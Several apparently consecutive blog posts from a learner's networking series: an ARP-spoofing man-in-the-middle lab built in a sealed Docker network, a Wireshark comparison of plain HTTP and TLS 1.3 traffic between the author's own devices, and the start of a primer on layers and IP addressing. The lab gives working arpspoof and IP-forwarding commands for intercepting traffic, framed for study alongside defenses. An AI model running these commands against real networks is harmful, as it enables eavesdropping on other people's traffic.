But you don’t aim a MITM attack at your own house. ARP poisoning works by lying about MAC addresses, and if the IP you poison is your gateway, the path you’re corrupting is the path to your own machine and the internet. So before any attack tool comes out, the real exercise is building a room with no doors — an isolated Docker network sealed from my host and from the internet, with three containers inside that can only talk to each other.

This post is that lab: why my first two containers were unusable, how to build the sealed network, and how to confirm the poisoning actually happened.

1. Why my existing containers couldn’t do it

I already had two throwaway containers from the Docker-as-cheap-Linux work. I figured I’d reuse them. Inspecting them showed why I couldn’t:

Two separate dealbreakers, and they’re both about the kind of thing Docker decides once, at creation.

Problem 1 — no raw-packet capabilities. caps: []. Tools like arpspoof forge Ethernet frames by hand, which needs NET_RAW (craft raw packets) and NET_ADMIN (touch the network stack). Without them the attack dies with permission denied. And you cannot add capabilities to a running container — Docker only sets them at docker run time. So these two had to be recreated regardless.

Problem 2 — they’re on the default bridge. 172.17.0.0/16, gateway 172.17.0.1 — and 172.17.0.1 is my Mac. This is the exact trap I wanted to avoid: poison the gateway entry here and I’m corrupting the route to my own host. The default bridge also has a path out to the internet. Not a lab. A loaded gun pointed at my own foot.

Since these containers held nothing valuable, recreating them was free. And I needed a third one anyway — a MITM needs a victim, a server for it to talk to, and the attacker sitting in the middle.

2. Building the sealed room

Tear down the old two, build an isolated network, and recreate the three containers with the capabilities they need:

# Remove the old throwaways
docker rm -f ubuntu-1 ubuntu-2

# Isolated network — --internal seals it from host AND internet
docker network create --driver bridge \
  --subnet 192.168.10.0/24 --internal labnet

# Recreate WITH the capabilities baked in at creation
docker run -dit --name attacker --network labnet --ip 192.168.10.10 \
  --cap-add=NET_ADMIN --cap-add=NET_RAW ubuntu:26.04 bash
docker run -dit --name victim  --network labnet --ip 192.168.10.20 \
  --cap-add=NET_ADMIN ubuntu:26.04 bash
docker run -dit --name server  --network labnet --ip 192.168.10.30 \
  --cap-add=NET_ADMIN ubuntu:26.04 bash

The one flag doing the heavy lifting is --internal. A normal Docker bridge gets a route to the outside; an --internal one doesn’t — there’s no gateway to the host, no NAT to the internet. The three containers can reach each other on 192.168.10.0/24 and nowhere else. Only attacker gets NET_RAW, because it’s the only one forging packets.

The roles:

• attacker …10 — runs arpspoof, the machine in the middle.
• victim …20 — the one that gets lied to.
• server …30 — what the victim thinks it’s talking to directly.

3. Tools first, then seal the door

Here’s the ordering trap I walked into: install everything before you cut the internet. An --internal network can’t reach apt’s mirrors, so once it’s sealed, apt install just hangs.

If I’d created the containers directly on labnet, they’d already be sealed and I couldn’t install anything. The trick is to give them the internet temporarily via the default bridge, install, then disconnect.

# Temporarily attach to the default bridge so apt can reach the internet
docker network connect bridge attacker
docker network connect bridge victim
docker network connect bridge server

# Install the kit
docker exec attacker bash -c "apt update && apt install -y \
  dsniff iproute2 net-tools tcpdump tshark iputils-ping wget"
docker exec victim bash -c "apt update && apt install -y \
  iproute2 net-tools iputils-ping wget"
docker exec server bash -c "apt update && apt install -y \
  iproute2 net-tools iputils-ping python3"

# Now seal the room — cut every container off from the internet
docker network disconnect bridge attacker
docker network disconnect bridge victim
docker network disconnect bridge server

dsniff is the package that ships arpspoof. After the three disconnect lines, the lab is airtight — labnet is the only network left on each container.

If you forget something after sealing: reconnect just that one container (docker network connect bridge victim), install, then disconnect again. No need to rebuild.

4. The clean baseline — what the victim believes before the lie

Always record the truth before you corrupt it, so you can prove the change. From the victim, ask who it thinks 192.168.10.30 is:

docker exec -it victim bash
arp -n           # note the MAC listed for 192.168.10.30
ping -c2 192.168.10.30
exit

Write down the MAC shown for 192.168.10.30. Right now it should be the server’s real MAC. That number is the whole experiment — when it changes to the attacker’s MAC, the poisoning worked.

5. The attacker turns on forwarding, then starts lying

A MITM is only useful if traffic still reaches its destination — otherwise the victim notices instantly because nothing works. So the attacker first becomes a router by enabling IP forwarding, then starts the two-way lie.

docker exec -it attacker bash

# Become a router so poisoned traffic still flows through to the real server
echo 1 > /proc/sys/net/ipv4/ip_forward

# Two lies, one per direction:
arpspoof -i eth0 -t 192.168.10.20 192.168.10.30 &   # tell victim: "I am the server"
arpspoof -i eth0 -t 192.168.10.30 192.168.10.20 &   # tell server: "I am the victim"

It takes two arpspoof processes because ARP is one-directional. One convinces the victim that the attacker is the server; the other convinces the server that the attacker is the victim. Now both ends send their traffic to the attacker, who forwards it on — neither notices.

About that &: it runs each command in the background so the shell comes back and the spoofing keeps running. To manage them:

jobs            # list background jobs
kill -9 %1 %2   # stop them by job number

If you’d rather watch one in the foreground, drop the & and run a single arpspoof — it’ll stream its output until you Ctrl+C.

6. Watching it live — two ways

Option A: tcpdump inside the attacker. Leave this running in the attacker shell:

tcpdump -i eth0 -n

Option B: pipe straight into Wireshark on the Mac. This is the one I liked — tcpdump captures inside the container and streams the raw pcap over stdout into the Wireshark GUI on macOS:

docker exec attacker tcpdump -i eth0 -U -w - 2>/dev/null | \
  /Applications/Wireshark.app/Contents/MacOS/wireshark -k -i -

Wireshark opens and starts capturing immediately:

[Capture MESSAGE] -- Capture Start ...
[Capture MESSAGE] -- Capture started
[Capture MESSAGE] -- File: "/var/.../wireshark_Standard inputWS4NR3.pcapng"

(That [GUI WARNING] about the missing “SF Mono” font is cosmetic — it’s just Wireshark substituting a font, nothing to do with the capture.)

7. Proving the poisoning — the MAC changed

Go back to the victim and ask the same question as the baseline:

docker exec -it victim bash
arp -n
exit

192.168.10.30 now shows the attacker’s MAC (…10’s), not the server’s real MAC from step 4. That’s the whole attack in one line of output: the victim is now convinced the attacker is the server, and every packet it sends “to the server” lands on the attacker first.

8. Generating traffic to spy on

A sealed lab with no traffic shows nothing. Start a tiny web server on server, then make the victim talk to it.

# In the server container — a one-line HTTP server on port 80
docker exec -it server bash -c "cd /tmp && python3 -m http.server 80"

Now generate traffic from the victim and watch it surface in your tcpdump/Wireshark window:

# Simplest proof — ICMP
docker exec victim bash -c "ping -c5 192.168.10.30"

# A real HTTP request with no wget needed — bash's built-in /dev/tcp
docker exec victim bash -c 'exec 3<>/dev/tcp/192.168.10.30/80; \
  printf "GET / HTTP/1.0\r\n\r\n" >&3; cat <&3'

That /dev/tcp trick is worth keeping in the back pocket — the lab has no wget in the victim and no internet to install it, but bash can open a TCP socket itself. The GET / and the server’s response both pass through the attacker, and you watch them go by in real time. Interception confirmed.

9. Tear it all down

# Ctrl+C the arpspoof and tcpdump windows first (or kill %1 %2), then:
docker rm -f attacker victim server
docker network rm labnet

docker rm -f kills and removes the containers; docker network rm deletes the sealed network. Nothing touched my host, nothing leaked to the internet, and the whole lab is gone in two commands.

What I took away

1. Capabilities and networks are set at docker run, not after. caps: [] and “wrong network” can’t be patched on a live container — you recreate it. So decide --cap-add and --network before you start, not when the attack fails with permission denied.
2. --internal is the whole safety story. It’s the difference between a lab and an attack on my own machine. No gateway to the host, no route to the internet — the poisoning can only ever hurt the three containers I built to be hurt. Never run this against the default bridge, where the gateway is your computer.
3. Install before you seal. An isolated network can’t reach apt. The pattern is connect-to-bridge → install → disconnect. Forget a tool? Reconnect that one container, install, disconnect again.
4. ARP spoofing is two lies plus a forward. One arpspoof per direction, and ip_forward=1 so traffic still reaches the real server. Skip the forwarding and the victim’s connection breaks — which is a denial of service, not a stealthy MITM.
5. The proof is the MAC, not the tool’s output. arp -n before and after is the experiment. When 192.168.10.30 starts pointing at the attacker’s MAC, the trust in ARP — answering “who has this IP?” with no verification — has been broken, exactly where the networking post said it would be.

The takeaway that sticks: ARP has no authentication. The protocol believes whoever answers first, and that single missing check is the entire attack. Defenses — static ARP entries, dynamic ARP inspection on switches, encrypting traffic so a MITM sees only ciphertext — all exist precisely because the protocol itself will never stop trusting the loudest voice in the room.

The setup is almost embarrassingly simple: serve a file from my laptop, open it on my phone, and capture the conversation in between. But that one round trip contains the entire stack — ARP to find the MAC, TCP to open the pipe, HTTP to move the data, FIN to hang up. And the HTTPS version shows exactly what the encryption hides.

1. The one-line server

On the laptop, make a page and serve it:

echo "hello from my laptop" > index.html
python3 -m http.server 8000

That’s a full HTTP server on port 8000. Find the laptop’s LAN IP (ipconfig getifaddr en0 on macOS) and open it from the phone’s browser:

http://<your-laptop-IP>:8000

The server log immediately shows the phone knocking:

Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:192.168.1.51 - - [29/Jun/2026 18:41:06] "GET / HTTP/1.1" 200 -
::ffff:192.168.1.51 - - [29/Jun/2026 18:41:06] "GET /favicon.ico HTTP/1.1" 404 -
::ffff:192.168.1.51 - - [29/Jun/2026 18:41:24] "GET / HTTP/1.1" 304 -

192.168.1.51 is the phone. The 200 is the page, the 404 is the browser auto-asking for a favicon that doesn’t exist, and the 304 Not Modified on the reload means the browser cached the page and the server told it “nothing changed, reuse your copy.” Keep that 304 in mind — it shows up again in the capture.

2. Capturing the plain-HTTP conversation

Clear Wireshark, start a fresh capture, reload the page on the phone, then stop. Filter to just this device:

ip.addr == 192.168.1.51

Here’s why you can even see this traffic: .51 (phone) is talking to .34 (laptop). It’s to and from your own machine, so the switch delivers those frames to you — the same Layer-2 rule the ARP post leaned on. You’re not snooping on anyone; you’re watching your own two devices.

Here’s the full capture as Wireshark listed it:

No.   Time        Source         Destination    Proto  Len  Info
3201  2.981526    192.168.1.51   192.168.1.34   TCP    74   36806 → 8000 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430649739 TSecr=0 WS=256
3202  2.981718    192.168.1.34   192.168.1.51   TCP    78   8000 → 36806 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=444530097 TSecr=2430649739 SACK_PERM
3203  2.988713    192.168.1.51   192.168.1.34   TCP    66   36806 → 8000 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430649745 TSecr=444530097
3204  2.988717    192.168.1.51   192.168.1.34   HTTP   569  GET / HTTP/1.1
3205  2.988925    192.168.1.34   192.168.1.51   TCP    66   8000 → 36806 [ACK] Seq=1 Ack=504 Win=131328 Len=0 TSval=444530104 TSecr=2430649745
3206  3.003988    192.168.1.34   192.168.1.51   HTTP   170  HTTP/1.0 304 Not Modified
3207  3.004134    192.168.1.34   192.168.1.51   TCP    66   8000 → 36806 [FIN, ACK] Seq=105 Ack=504 Win=131328 Len=0 TSval=444530119 TSecr=2430649745
3208  3.011965    192.168.1.51   192.168.1.34   TCP    66   36806 → 8000 [ACK] Seq=504 Ack=105 Win=65536 Len=0 TSval=2430649769 TSecr=444530119
3209  3.011967    192.168.1.51   192.168.1.34   TCP    66   36806 → 8000 [FIN, ACK] Seq=504 Ack=106 Win=65536 Len=0 TSval=2430649770 TSecr=444530119
3210  3.012056    192.168.1.34   192.168.1.51   TCP    66   8000 → 36806 [ACK] Seq=106 Ack=505 Win=131328 Len=0 TSval=444530127 TSecr=2430649770
3251  3.768488    192.168.1.51   192.168.1.34   TCP    74   36790 → 8000 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430650511 TSecr=0 WS=256
3253  3.768737    192.168.1.34   192.168.1.51   TCP    78   8000 → 36790 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=1322402638 TSecr=2430650511 SACK_PERM
3255  3.903635    192.168.1.51   192.168.1.34   TCP    66   36790 → 8000 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430650533 TSecr=1322402638
3259  3.903638    192.168.1.51   192.168.1.34   TCP    74   47148 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430650543 TSecr=0 WS=256
3260  3.903638    192.168.1.51   192.168.1.34   TCP    74   36794 → 8000 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430650543 TSecr=0 WS=256
3261  3.903716    192.168.1.34   192.168.1.51   TCP    66   [TCP Window Update] 8000 → 36790 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=1322402773 TSecr=2430650533
3262  3.903753    192.168.1.34   192.168.1.51   TCP    54   8443 → 47148 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
3263  3.903886    192.168.1.34   192.168.1.51   TCP    78   8000 → 36794 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=2953406450 TSecr=2430650543 SACK_PERM
3264  4.072157    192.168.1.51   192.168.1.34   TCP    66   36794 → 8000 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430650669 TSecr=2953406450
3265  4.072248    192.168.1.34   192.168.1.51   TCP    66   [TCP Window Update] 8000 → 36794 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=2953406618 TSecr=2430650669

A couple of things worth pointing out before the decode: packet 3262 is a [RST, ACK] on port 8443 — that’s the phone optimistically trying the HTTPS port before I’d started that server, so the laptop slams it shut with a reset. And the [TCP Window Update] packets are just the receiver announcing it has more buffer room now. The clean HTTP conversation is the 36806 → 8000 thread (3201–3210). Decoded packet by packet:

The TCP three-way handshake — opening the pipe

.51 → .34   [SYN]        phone:  "let's talk, my seq=0"
.34 → .51   [SYN, ACK]   laptop: "I hear you, my seq=0, ack your 1"
.51 → .34   [ACK]        phone:  "great, connected"

SYN → SYN,ACK → ACK is the handshake every TCP connection on the internet begins with. You just watched it happen between two things in your own room.

The HTTP exchange — the actual data

.51 → .34   HTTP  GET / HTTP/1.1            phone requests the page
.34 → .51   HTTP  HTTP/1.0 304 Not Modified laptop: "use your cache"

304 instead of 200 because the phone already had the page — same reason it appeared in the Python log.

The teardown — closing the pipe

[FIN, ACK]   "I'm done sending"
[ACK]        "acknowledged"

FIN is a graceful close; both sides agree to hang up.

Reading the fields

Put this next to the earlier ARP capture and you’ve seen the full stack of a LAN conversation:

1. ARP — “who has 192.168.1.34?” → find the MAC (Layer 2)
2. TCP SYN — handshake → open a pipe (Layer 4)
3. HTTP GET — request / response → exchange data (Layer 7)
4. TCP FIN — teardown → close the pipe

That’s literally what happens every time any device loads any page. You’re just watching it in slow motion.

See the message itself

Right-click the GET packet → Follow → HTTP Stream. Because it’s plain HTTP, you see the raw request and the page’s HTML in cleartext — a perfect demonstration of why unencrypted HTTP exposes everything.

3. Now do it over HTTPS

To see what encryption changes, serve the same thing over TLS. First make a self-signed certificate:

openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=mylaptop"

Then start an HTTPS server on 8443 that wraps the same handler in a TLS socket:

python3 -c "import http.server, ssl; \
ctx=ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); \
ctx.load_cert_chain('cert.pem','key.pem'); \
s=http.server.HTTPServer(('0.0.0.0',8443), http.server.SimpleHTTPRequestHandler); \
s.socket=ctx.wrap_socket(s.socket, server_side=True); \
print('Serving HTTPS on :8443'); s.serve_forever()"

Optionally watch the raw frames from a second terminal at the same time:

sudo tcpdump -i en0 -n host 192.168.1.51   # the phone's IP

Open https://<laptop-IP>:8443 on the phone, capture in Wireshark with the same ip.addr == 192.168.1.51 filter, and stop.

4. Reading the TLS 1.3 handshake

This is the genuine article — the same protocol protecting a bank login. Here’s the full capture:

No.    Time       Source         Destination    Proto    Len   Info
10494  16.616277  192.168.1.51   192.168.1.34   TCP      74    51166 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430028672 TSecr=0 WS=256
10495  16.616499  192.168.1.34   192.168.1.51   TCP      78    8443 → 51166 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=3552164977 TSecr=2430028672 SACK_PERM
10496  16.616868  192.168.1.51   192.168.1.34   TCP      74    51168 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430028729 TSecr=0 WS=256
10497  16.617003  192.168.1.34   192.168.1.51   TCP      78    8443 → 51168 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=1805661351 TSecr=2430028729 SACK_PERM
10498  16.623195  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430028853 TSecr=3552164977
10499  16.623303  192.168.1.34   192.168.1.51   TCP      66    [TCP Window Update] 8443 → 51166 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=3552164984 TSecr=2430028853
10500  16.624098  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430028853 TSecr=1805661351
10501  16.624166  192.168.1.34   192.168.1.51   TCP      66    [TCP Window Update] 8443 → 51168 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=1805661358 TSecr=2430028853
10502  16.638297  192.168.1.51   192.168.1.34   TCP      1514  51166 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=1448 TSval=2430028856 TSecr=3552164977 [TCP PDU reassembled in 10504]
10503  16.638299  192.168.1.51   192.168.1.34   TCP      1514  51168 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=1448 TSval=2430028858 TSecr=1805661351 [TCP PDU reassembled in 10505]
10504  16.638300  192.168.1.51   192.168.1.34   TLSv1.3  622   Client Hello
10505  16.638300  192.168.1.51   192.168.1.34   TLSv1.3  622   Client Hello
10506  16.638378  192.168.1.34   192.168.1.51   TCP      66    8443 → 51166 [ACK] Seq=1 Ack=2005 Win=129792 Len=0 TSval=3552164999 TSecr=2430028856
10507  16.638425  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [ACK] Seq=1 Ack=2005 Win=129792 Len=0 TSval=1805661372 TSecr=2430028858
10508  16.639340  192.168.1.34   192.168.1.51   TLSv1.3  1395  Server Hello, Change Cipher Spec, Application Data, Application Data
10509  16.649931  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [ACK] Seq=2005 Ack=1330 Win=68352 Len=0 TSval=2430028880 TSecr=3552165000
10510  16.670662  192.168.1.51   192.168.1.34   TLSv1.3  96    Change Cipher Spec, Application Data
10511  16.670765  192.168.1.34   192.168.1.51   TCP      66    8443 → 51166 [ACK] Seq=1330 Ack=2035 Win=131072 Len=0 TSval=3552165032 TSecr=2430028885
10512  16.671164  192.168.1.34   192.168.1.51   TCP      66    8443 → 51166 [FIN, ACK] Seq=1330 Ack=2035 Win=131072 Len=0 TSval=3552165032 TSecr=2430028885
10513  16.671306  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [FIN, ACK] Seq=2035 Ack=1330 Win=68352 Len=0 TSval=2430028889 TSecr=3552165000
10514  16.671396  192.168.1.34   192.168.1.51   TCP      66    [TCP Retransmission] 8443 → 51166 [FIN, ACK] Seq=1330 Ack=2036 Win=131072 Len=0 TSval=3552165032 TSecr=2430028889
10515  16.672779  192.168.1.34   192.168.1.51   TLSv1.3  1395  Server Hello, Change Cipher Spec, Application Data, Application Data
10516  16.679712  192.168.1.51   192.168.1.34   TCP      66    51166 → 8443 [ACK] Seq=2036 Ack=1331 Win=68352 Len=0 TSval=2430028907 TSecr=3552165032
10517  16.732257  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [ACK] Seq=2005 Ack=1330 Win=68352 Len=0 TSval=2430028913 TSecr=1805661407
10518  16.732258  192.168.1.51   192.168.1.34   TLSv1.3  96    Change Cipher Spec, Application Data
10519  16.732259  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [FIN, ACK] Seq=2035 Ack=1330 Win=68352 Len=0 TSval=2430028914 TSecr=1805661407
10520  16.732354  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [ACK] Seq=1330 Ack=2035 Win=131072 Len=0 TSval=1805661466 TSecr=2430028913
10521  16.732388  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [ACK] Seq=1330 Ack=2036 Win=131072 Len=0 TSval=1805661466 TSecr=2430028914
10522  16.732593  192.168.1.34   192.168.1.51   TCP      66    8443 → 51168 [FIN, ACK] Seq=1330 Ack=2036 Win=131072 Len=0 TSval=1805661466 TSecr=2430028914
10523  16.732956  192.168.1.51   192.168.1.34   TCP      74    51172 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430028916 TSecr=0 WS=256
10524  16.733204  192.168.1.34   192.168.1.51   TCP      78    8443 → 51172 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=403303154 TSecr=2430028916 SACK_PERM
10525  16.743974  192.168.1.51   192.168.1.34   TCP      66    51168 → 8443 [ACK] Seq=2036 Ack=1331 Win=68352 Len=0 TSval=2430028973 TSecr=1805661466
10526  16.748826  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430028973 TSecr=403303154
10527  16.748927  192.168.1.34   192.168.1.51   TCP      66    [TCP Window Update] 8443 → 51172 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=403303170 TSecr=2430028973
10528  16.749751  192.168.1.51   192.168.1.34   TCP      1514  51172 → 8443 [ACK] Seq=1 Ack=1 Win=65536 Len=1448 TSval=2430028978 TSecr=403303154 [TCP PDU reassembled in 10529]
10529  16.749753  192.168.1.51   192.168.1.34   TLSv1.3  383   Client Hello
10530  16.749802  192.168.1.34   192.168.1.51   TCP      66    8443 → 51172 [ACK] Seq=1 Ack=1766 Win=130048 Len=0 TSval=403303171 TSecr=2430028978
10531  16.751709  192.168.1.34   192.168.1.51   TLSv1.3  1514  Server Hello, Change Cipher Spec, Application Data
10532  16.751733  192.168.1.34   192.168.1.51   TLSv1.3  1041  Application Data, Application Data, Application Data
10533  16.759968  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [ACK] Seq=1766 Ack=2424 Win=70400 Len=0 TSval=2430028988 TSecr=403303173
10534  16.765059  192.168.1.51   192.168.1.34   TLSv1.3  146   Change Cipher Spec, Application Data
10535  16.765164  192.168.1.34   192.168.1.51   TCP      66    8443 → 51172 [ACK] Seq=2424 Ack=1846 Win=131008 Len=0 TSval=403303186 TSecr=2430028994
10536  16.765604  192.168.1.34   192.168.1.51   TLSv1.3  321   Application Data
10537  16.768947  192.168.1.51   192.168.1.34   TLSv1.3  802   Application Data
10538  16.769017  192.168.1.34   192.168.1.51   TLSv1.3  321   Application Data
10539  16.772664  192.168.1.34   192.168.1.51   TLSv1.3  317   Application Data, Application Data
10541  16.869438  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [ACK] Seq=2582 Ack=2934 Win=76288 Len=0 TSval=2430029010 TSecr=403303186
10542  16.869440  192.168.1.51   192.168.1.34   TCP      66    51172 → 8443 [FIN, ACK] Seq=2582 Ack=3186 Win=79104 Len=0 TSval=2430029018 TSecr=403303194
10543  16.869515  192.168.1.34   192.168.1.51   TCP      66    8443 → 51172 [ACK] Seq=3186 Ack=2583 Win=131072 Len=0 TSval=403303290 TSecr=2430029018

TCP opens the pipe exactly as before, then TLS takes over. Stripped to the essentials of one connection it reads like this:

.51 → .34   SYN          ┐
.34 → .51   SYN, ACK     ├ TCP handshake (open the pipe)
.51 → .34   ACK          ┘
.51 → .34   TLSv1.3  Client Hello                        phone: ciphers + key-share
.34 → .51   TLSv1.3  Server Hello, Change Cipher Spec,   laptop: picks cipher,
                     Application Data, Application Data          sends cert (ENCRYPTED!)
.51 → .34   TLSv1.3  Change Cipher Spec, Application Data phone: "encryption on", request
.34 → .51   TLSv1.3  Application Data ...                laptop: 🔒 the web page
            FIN, ACK ...                                 teardown

The TLS 1.3 thing worth noticing

Look at the Server Hello packet: Server Hello, Change Cipher Spec, Application Data, Application Data.

In the plain-HTTP capture you could read the bytes. Here the certificate is gone — it’s labeled Application Data, meaning it’s already encrypted.

TLS 1.3 encrypts the certificate. The key exchange happens in the very first Client Hello / Server Hello, so by the time the server sends its certificate the tunnel already exists. In old TLS 1.2 the cert went in cleartext — you could read its CN, issuer, everything. TLS 1.3 hides it. That’s why there’s no readable “Certificate” packet anymore, only Application Data.

So TLS 1.3 is one round-trip faster and more private than the 1.2 flow. You’re watching the modern version.

Why there are several connections

The browser opened multiple parallel TCP connections (different source ports — 51166, 51168, 51172) to load faster. Some started a handshake and closed early with a FIN — that’s the browser pre-connecting, and the self-signed-cert warning interrupting it. One connection completes the full exchange: Client Hello → Server Hello → Application Data (the page) → FIN. The aborted ones are the browser retrying after you tapped through the warning. The occasional [TCP Retransmission] / out-of-order packets are just WiFi hiccups; TCP re-sends and nothing breaks.

The field decoder

Prove the encryption to yourself

Right-click an Application Data packet → Follow → TLS Stream. You see encrypted gibberish — the page is in there, unreadable. Compare that to the plain-HTTP Follow Stream that showed the HTML clearly. That side-by-side is the whole point of HTTPS:

HTTP  Follow Stream → "hello from my laptop"     anyone on the path reads it
HTTPS Follow Stream → 9f a2 c8 1e ... (garbage)  encrypted, unreadable

5. The “Not Secure” warning is the system working

Opening the HTTPS page, the phone warns “Not Secure.” That’s not a failure — it’s HTTPS’s trust system doing its job. The connection is encrypted; the problem is identity, not encryption. Two different promises:

1. Encryption — nobody can read the traffic. ✅ The server does this fine (you saw the encrypted TLS data).
2. Identity — the server is really who it claims to be. ❌ This is what fails.

The browser is saying: “This connection is encrypted, but I can’t verify who I’m talking to.”

Why it can’t verify me

Real sites’ certificates are signed by a Certificate Authority (Let’s Encrypt, DigiCert, …), and your device ships with ~150 trusted CAs built in:

browser trusts → a CA (e.g. Let's Encrypt)
                  └─ which signed → the website's certificate
                                     └─ so the browser trusts the site ✅

My cert was self-signed — I signed it myself with openssl:

browser trusts → ???
                 └─ "mylaptop" signed its OWN certificate
                    → no trusted CA vouches for it → NOT trusted ❌

It’s like showing up with an ID card you printed at home. The encryption is real, but no authority vouches that “mylaptop” is genuine — so the browser warns.

Why this is exactly the shield against the ARP attack

This is the precise mechanism that stops the ARP-spoofing MITM from working against a real site. An attacker who intercepts your connection to your bank has to present a certificate — but they can’t get a real CA to sign one for yourbank.com. So they either:

• present a self-signed cert → browser screams “Not Secure” (you’d notice), or
• present no valid cert → the connection fails.

The warning you’re seeing is the same alarm that would fire during a real attack. Feature, not bug.

Making the warning go away

1. Just proceed (fine for your own test) — Advanced → Proceed. You’re choosing to trust your own cert.
2. Install the cert as trusted on the phone — copy cert.pem over and add it under the phone’s trusted certificates. Then “mylaptop” is a known authority → no warning. (This is also how mitmproxy decrypts HTTPS — the same trick.)
3. Get a real CA-signed cert — for a public domain, Let’s Encrypt verifies you control the domain, signs your cert for free, and every browser trusts it automatically.

“Not Secure” here really means “unverified identity,” not “unencrypted.” The traffic is fully encrypted — the browser just can’t confirm who mylaptop is, because I vouched for myself instead of a trusted authority.

What I took away

The complete journey, end to end:

1. Discover devices — arp / nmap / Bonjour ✅
2. Identify a device — .51 connected to my server ✅
3. Plain connection — TCP handshake + HTTP, fully readable ✅
4. Encrypted connection — TLS 1.3 handshake, unreadable ✅

The lesson that sticks: the difference between HTTP and HTTPS isn’t abstract once you’ve watched both in Wireshark. Same handshake, same ports, same FIN — but Follow Stream shows cleartext HTML one time and encrypted noise the next. And the “Not Secure” warning, which feels like a problem, is actually the identity half of HTTPS protecting me from the exact MITM I built in the previous post. Encryption hides the bytes; the certificate chain proves who’s on the other end. You need both, and now I’ve seen both happen between two devices on my own desk.

The single idea that ties it all together: networking is split into floors, each does one job, and every tool and every attack lives on one floor. Keep that in mind and the rest stops being a pile of acronyms.

★ marks the hands-on security chapters — where you stop reading and start seeing the bytes.

Foundations

Layers

Networking is split into floors, and each floor does exactly one job. When I type a URL and hit enter, my request rides an elevator down through the floors on my machine, crosses the wire, and rides up through the floors on the server. The reply comes back the same way. The reason this matters for security: every tool and every attack lives on one specific floor — once I know which floor something operates on, I know what it can and can’t see.

The model has two common spellings. The textbook one is the 7-layer OSI model; in practice everyone works with the 4-layer TCP/IP model, which is what I’ll use:

The key idea is encapsulation: each floor wraps the floor above it in its own envelope. My HTTP request (App) gets stuffed into a TCP segment (Transport), which gets stuffed into an IP packet (Network), which gets stuffed into an Ethernet frame (Link) — envelopes inside envelopes. At the other end each floor opens only its own envelope and hands the contents up.

That layering is also the map of the whole rest of this post: the IP Address sections live on the Network floor, MAC/ARP on the Link floor, and HTTP / Ports / TCP / UDP on Transport + Application — and the tools later each tap a specific floor: tcpdump reads the Link/Network bytes, nmap probes Transport ports, TLS sits at the top of Application.

IP Addresses

An IP address is how one machine finds another across a network — the Network floor’s addressing scheme, the postal address of the internet. Routers only ever look at this number to decide where to forward a packet next.

The address you see most is IPv4: four numbers 0–255 separated by dots, e.g. 192.168.1.24. That’s 32 bits → about 4.3 billion addresses, which sounded like plenty in the 1980s and ran out in reality (the reason IPv6 exists — more on that below). An IPv4 address is really two parts glued together:

192.168.1.24 / 24
└────┬─────┘ └┬┘
  network    which host
  part       on it

The /24 is the subnet mask (CIDR notation) — it says “the first 24 bits are the network, the rest identify the individual machine.” Same network part = same local network, talk directly; different network part = the packet has to go through a router. That single split is what the whole Link-vs-Network distinction from the Layers section hangs on.

Why the mask exists at all

The mask earns its keep by answering one question my machine has to settle for every single packet: is this destination on my network, or somewhere else? Without the mask, an address like 192.168.1.24 is ambiguous — which part is the network and which part is the device? With /24, there’s no guessing:

It’s the old landline problem — without an area code you can’t tell a local call from a long-distance one. Same with networks: the mask is what lets the device split any address into network + device so it knows whether to talk directly or go through the router. That’s the whole purpose.

Where the /24 number comes from — why not /18?

The /24 isn’t magic, and it isn’t required — it’s just a count of bits. An IP that looks like 4 numbers is really 32 ones-and-zeros, split into 4 groups of 8:

   192    .   168    .    1     .    34
11000000 . 10101000 . 00000001 . 00100010
└──8 bits┘  └──8 bits┘  └──8 bits┘  └──8 bits┘   = 32 bits total

The /number says how many bits from the left belong to the network. Since each number is 8 bits, the clean boundaries fall on whole numbers:

/8   = first 1 number  is network   (8 bits)
/16  = first 2 numbers are network  (16 bits)
/24  = first 3 numbers are network  (24 bits)  ← home default
